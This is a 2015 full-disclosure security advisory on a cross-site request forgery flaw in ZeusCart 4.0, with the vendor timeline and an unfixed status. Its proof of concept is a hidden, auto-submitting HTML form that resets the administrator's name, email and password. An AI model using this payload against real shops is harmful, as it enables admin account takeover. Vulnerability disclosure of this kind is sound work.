ZeusCart 4.0: CSRF
Security Advisory – Curesec Research Team

1. Introduction

Affected Product:   ZeusCart 4.0
Fixed in:     not fixed
Fixed Version Link:   n/a
Vendor Contact:   support@zeuscart.com
Vulnerability Type:   CSRF
Remote Exploitable:   Yes
Reported to vendor:   08/13/2015
Disclosed to public:   09/14/2015
Release mode:     Full Disclosure
CVE:       n/a
Credits     Tim Coen of Curesec GmbH

2. Vulnerability Description

None of the forms of Zeuscart have CSRF protection, which means that an
attacker can perform actions for the victim if the victim visits an
attacker controlled site while logged in.
3. Proof of Concept

Change Admin Credentials:

<form name="myform" method="post"
action="http://localhost/zeuscart-master/admin/?do=adminprofile&action=update"
enctype="multipart/form-data">
    <input type="hidden" name="admin_name" value="admin2">
    <input type="hidden" name="admin_email" value="admin2@example.com">
    <input type="hidden" name="admin_password" value="admin">
</form>
<script>document.myform.submit();</script>

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

08/13/2015   Informed Vendor about Issue (no reply)
09/07/2015   Reminded Vendor of release date (no reply)
09/14/2015   Disclosed to public

6. Blog Reference
http://blog.curesec.com/article/blog/ZeusCart-40-CSRF-58.html